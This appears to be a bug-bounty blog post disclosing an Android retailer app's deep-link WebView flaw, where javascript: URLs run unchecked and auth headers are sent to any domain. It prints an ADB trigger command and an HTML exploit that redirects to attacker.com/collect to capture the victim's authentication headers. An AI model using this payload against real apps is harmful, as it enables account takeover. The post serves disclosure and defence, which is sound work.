One Deep Link, Zero Validation, Full ATO (Again)
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى خَيْرِ مُعَلِّمِي اَلنَّاسِ اَلْخَيْرِ مُحَمَّدْ وَبَعْدٍ
Description
This is one of the easiest bugs I keep finding across multiple apps. The Android app of a major European electronics retailer has a deep link that opens a WebView: redacted-scheme://webview?url=<URL>. JavaScript is enabled, and there is zero scheme validation on the url parameter. You can pass javascript: as the scheme and the WebView executes it. The real problem is the shouldInterceptRequest implementation. Every main-frame GET request loaded in this WebView is re-issued through OkHttp, and the OkHttp interceptors inject the user’s authentication headers into the request. There is no domain whitelist. So when the injected JavaScript redirects the WebView to an attacker’s server, the auth headers go with it. One click, full account takeover.
Get abdelnasser’s stories in your inbox
Join Medium for free to get updates from this writer.
I actually reported this before and it was closed as a duplicate. The original report was marked as resolved, but the bug was still there. I got a notification to retest it, confirmed it still works on the latest version, and reported it again. Same bug, same impact, still alive.
Technical Details
The app registers a deep link handler on SplashActivity that routes redacted-scheme://webview?url=<URL> to a generic WebViewFragment. The fragment loads whatever URL is in the url parameter with JavaScript enabled and no scheme validation:
settings.setJavaScriptEnabled(true);
settings.setDomStorageEnabled(true);
webView.loadUrl(url, headers);The WebViewClient has no URL validation at all. Its shouldOverrideUrlLoading only checks if the new URL is different from the current one:
public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest request) {
boolean sameUrl = equals(webView.getUrl(), request.getUrl().toString());
if (!sameUrl) {
this.handler.emit(new Event(request.getUrl().toString()));
}
return !sameUrl;
}The critical part is shouldInterceptRequest in the base AuthenticatedWebViewClient. Every main-frame GET request is re-issued through OkHttp, which injects auth headers. There is no domain check:
shouldInterceptRequest(webView, request):
- if not main frame → skip
- if URL starts with "data:" → skip
- if method is POST → skip
- otherwise → re-issue via OkHttp (adds auth headers)
- NO DOMAIN WHITELISTYou can confirm JavaScript execution via ADB:
adb shell am start -a android.intent.action.VIEW \
-d 'redacted-scheme://webview?url=javascript:alert(1337)'For the full attack, the victim clicks a link to a page that redirects into the app:
<script>
window.location.href = "redacted-scheme://webview?url="
+ "javascript:location.href='https://attacker.com/collect'";
</script>The javascript: payload executes in the WebView and redirects to the attacker’s server. The shouldInterceptRequest fires, re-issues the request through OkHttp with the victim’s authentication headers attached, and the attacker receives them.
Takeaways
Always validate the URL scheme before loading it in a WebView. If you intercept requests to inject auth headers, whitelist the domains first. I have found this same pattern (no scheme validation on a WebView deep link) in multiple apps now. It is surprisingly common and always easy to exploit.
Alhamdulillah for everything
#BugBounty #AndroidSecurity #AccountTakeover #DeepLinks #MobileSecurity








